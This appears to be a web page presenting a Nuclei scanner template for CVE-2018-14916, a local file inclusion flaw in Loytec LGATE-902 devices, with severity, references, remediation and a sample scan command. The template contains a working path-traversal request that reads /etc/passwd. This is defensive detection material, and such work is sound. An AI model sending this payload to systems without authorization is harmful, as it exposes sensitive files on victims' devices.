Loytec LGATE-902 <6.4.2 - Local File Inclusion

ID: CVE-2018-14916

Severity: critical

Author: 0x_Akoko

Tags: cve2018,cve,loytec,lfi,packetstorm,seclists,xss

Description

Loytec LGATE-902 versions prior to 6.4.2 suffers from a local file inclusion vulnerability.

YAML Source

id: CVE-2018-14916

info:
  name: Loytec LGATE-902 <6.4.2 - Local File Inclusion
  author: 0x_Akoko
  severity: critical
  description: Loytec LGATE-902 versions prior to 6.4.2 suffers from a local file inclusion vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the device.
  remediation: |
    Upgrade the Loytec LGATE-902 device to version 6.4.2 or later to mitigate the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14916
    - http://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html
    - https://seclists.org/fulldisclosure/2019/Apr/12
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2018-14916
    cwe-id: CWE-732
    epss-score: 0.00644
    epss-percentile: 0.79217
    cpe: cpe:2.3:h:loytec:lgate-902:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: loytec
    product: lgate-902
  tags: cve2018,cve,loytec,lfi,packetstorm,seclists,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008be6b651f25d728be5fb7a8ac4652a296cc6a7fed66429d6916386af8582a442022100b544ff6f9e94152ce3f3c172635c683c74d99dbb815c9cc878ea80a53ad5460d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-14916.yaml"

View on Github